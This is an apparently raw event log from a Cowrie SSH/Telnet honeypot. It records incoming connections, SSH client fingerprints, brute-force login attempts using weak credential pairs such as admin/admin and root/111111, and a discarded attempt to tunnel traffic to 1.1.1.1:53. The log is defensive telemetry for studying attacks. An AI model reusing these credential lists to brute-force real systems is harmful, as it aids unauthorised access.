{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:21.717331Z","src_ip":"87.251.64.176","session":"f9e6de1c187f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.576557874679565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:21.814649Z","src_ip":"209.145.57.73","session":"a6f36542926b","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:22.013525Z","src_ip":"87.251.64.176","session":"f9e6de1c187f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:22.121027Z","session":"f9e6de1c187f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:22.219191Z","src_ip":"87.251.64.176","session":"f9e6de1c187f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:22.329177Z","src_ip":"87.251.64.176","session":"f9e6de1c187f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":45688,"dst_ip":"159.203.135.109","dst_port":22,"session":"1625012e1cac","protocol":"ssh","message":"New connection: 191.255.52.36:45688 (159.203.135.109:22) [session: 1625012e1cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:54:16.604050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:54:16.608572Z","src_ip":"191.255.52.36","session":"1625012e1cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:54:16.743789Z","src_ip":"191.255.52.36","session":"1625012e1cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:54:17.416888Z","src_ip":"191.255.52.36","session":"1625012e1cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:54:18.552975Z","src_ip":"191.255.52.36","session":"1625012e1cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.54.214.93","src_port":41590,"dst_ip":"159.203.135.109","dst_port":23,"session":"103959a90d42","protocol":"telnet","message":"New connection: 37.54.214.93:41590 (159.203.135.109:23) [session: 103959a90d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:54:43.286896Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.57.73","src_port":43908,"dst_ip":"10.17.0.5","dst_port":23,"session":"72a1b778e830","protocol":"telnet","message":"New connection: 209.145.57.73:43908 (10.17.0.5:23) [session: 72a1b778e830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:04.431812Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.56.98.221","src_port":37858,"dst_ip":"10.17.0.5","dst_port":23,"session":"53548626a89e","protocol":"telnet","message":"New connection: 95.56.98.221:37858 (10.17.0.5:23) [session: 53548626a89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:32.732790Z"}
{"eventid":"cowrie.session.closed","duration":31.577894926071167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:36.009558Z","src_ip":"209.145.57.73","session":"72a1b778e830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":49804,"dst_ip":"159.203.135.109","dst_port":22,"session":"38844dda8fd3","protocol":"ssh","message":"New connection: 191.255.52.36:49804 (159.203.135.109:22) [session: 38844dda8fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:44.423916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:44.428024Z","src_ip":"191.255.52.36","session":"38844dda8fd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:44.621515Z","src_ip":"191.255.52.36","session":"38844dda8fd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jc123456","message":"login attempt [root/Jc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:45.224348Z","src_ip":"191.255.52.36","session":"38844dda8fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:46.364081Z","src_ip":"191.255.52.36","session":"38844dda8fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.956010103225708,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:46.688652Z","src_ip":"95.56.98.221","session":"53548626a89e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.56.98.221","src_port":41440,"dst_ip":"10.17.0.5","dst_port":23,"session":"7635a33c5b73","protocol":"telnet","message":"New connection: 95.56.98.221:41440 (10.17.0.5:23) [session: 7635a33c5b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:55:56.664703Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":53796,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9a55f3fa06a","protocol":"ssh","message":"New connection: 5.182.83.231:53796 (10.17.0.5:22) [session: a9a55f3fa06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:56:02.817436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:56:02.822507Z","src_ip":"5.182.83.231","session":"a9a55f3fa06a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:56:02.941511Z","src_ip":"5.182.83.231","session":"a9a55f3fa06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluto","message":"login attempt [root/pluto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:56:03.442441Z","src_ip":"5.182.83.231","session":"a9a55f3fa06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:56:04.562716Z","src_ip":"5.182.83.231","session":"a9a55f3fa06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00977849960327,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:56:43.296549Z","src_ip":"37.54.214.93","session":"103959a90d42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.54.214.93","src_port":52634,"dst_ip":"159.203.135.109","dst_port":23,"session":"7336e9118965","protocol":"telnet","message":"New connection: 37.54.214.93:52634 (159.203.135.109:23) [session: 7336e9118965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:56:49.628685Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":58126,"dst_ip":"10.17.0.5","dst_port":23,"session":"d77274eef726","protocol":"telnet","message":"New connection: 103.115.172.252:58126 (10.17.0.5:23) [session: d77274eef726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:57:41.245825Z"}
{"eventid":"cowrie.session.closed","duration":120.00194263458252,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:57:56.666539Z","src_ip":"95.56.98.221","session":"7635a33c5b73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.142.69.140","src_port":61971,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bee7e34676d","protocol":"telnet","message":"New connection: 31.142.69.140:61971 (10.17.0.5:23) [session: 2bee7e34676d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:03.988870Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42236,"dst_ip":"10.17.0.5","dst_port":23,"session":"d51410de73a5","protocol":"telnet","message":"New connection: 103.115.172.252:42236 (10.17.0.5:23) [session: d51410de73a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:12.804375Z"}
{"eventid":"cowrie.session.closed","duration":12.627577543258667,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:16.616317Z","src_ip":"31.142.69.140","session":"2bee7e34676d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.088521242141724,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:18.334242Z","src_ip":"103.115.172.252","session":"d77274eef726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":50864,"dst_ip":"10.17.0.5","dst_port":23,"session":"9531f3057b0f","protocol":"telnet","message":"New connection: 103.115.172.252:50864 (10.17.0.5:23) [session: 9531f3057b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:31.997826Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":51108,"dst_ip":"10.17.0.5","dst_port":23,"session":"3adee2b14e47","protocol":"telnet","message":"New connection: 103.115.172.252:51108 (10.17.0.5:23) [session: 3adee2b14e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:33.714562Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":53552,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcf20568f93c","protocol":"telnet","message":"New connection: 103.115.172.252:53552 (10.17.0.5:23) [session: bcf20568f93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:40.080954Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":51425,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4cdeea3b1de","protocol":"ssh","message":"New connection: 78.134.49.171:51425 (159.203.135.109:22) [session: c4cdeea3b1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:43.723140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:43.738667Z","src_ip":"78.134.49.171","session":"c4cdeea3b1de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:43.920618Z","src_ip":"78.134.49.171","session":"c4cdeea3b1de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qq123456","message":"login attempt [user/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:44.697223Z","src_ip":"78.134.49.171","session":"c4cdeea3b1de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":36020,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ae769e20e91","protocol":"ssh","message":"New connection: 5.182.83.231:36020 (10.17.0.5:22) [session: 6ae769e20e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:45.157178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:45.163345Z","src_ip":"5.182.83.231","session":"6ae769e20e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:45.279486Z","src_ip":"5.182.83.231","session":"6ae769e20e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456#","message":"login attempt [ubuntu/123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:45.772697Z","src_ip":"5.182.83.231","session":"6ae769e20e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:45.833048Z","src_ip":"78.134.49.171","session":"c4cdeea3b1de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:46.890798Z","src_ip":"5.182.83.231","session":"6ae769e20e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00129747390747,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:49.629895Z","src_ip":"37.54.214.93","session":"7336e9118965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":58456,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a244da9a423","protocol":"telnet","message":"New connection: 103.115.172.252:58456 (10.17.0.5:23) [session: 1a244da9a423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:51.319711Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":58336,"dst_ip":"10.17.0.5","dst_port":23,"session":"131cf0b48eda","protocol":"telnet","message":"New connection: 103.115.172.252:58336 (10.17.0.5:23) [session: 131cf0b48eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:58.120112Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.54.214.93","src_port":36556,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71c508dd338","protocol":"telnet","message":"New connection: 37.54.214.93:36556 (159.203.135.109:23) [session: e71c508dd338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:58:58.732273Z"}
{"eventid":"cowrie.session.closed","duration":36.00326490402222,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:59:08.000963Z","src_ip":"103.115.172.252","session":"9531f3057b0f","protocol":"telnet"}
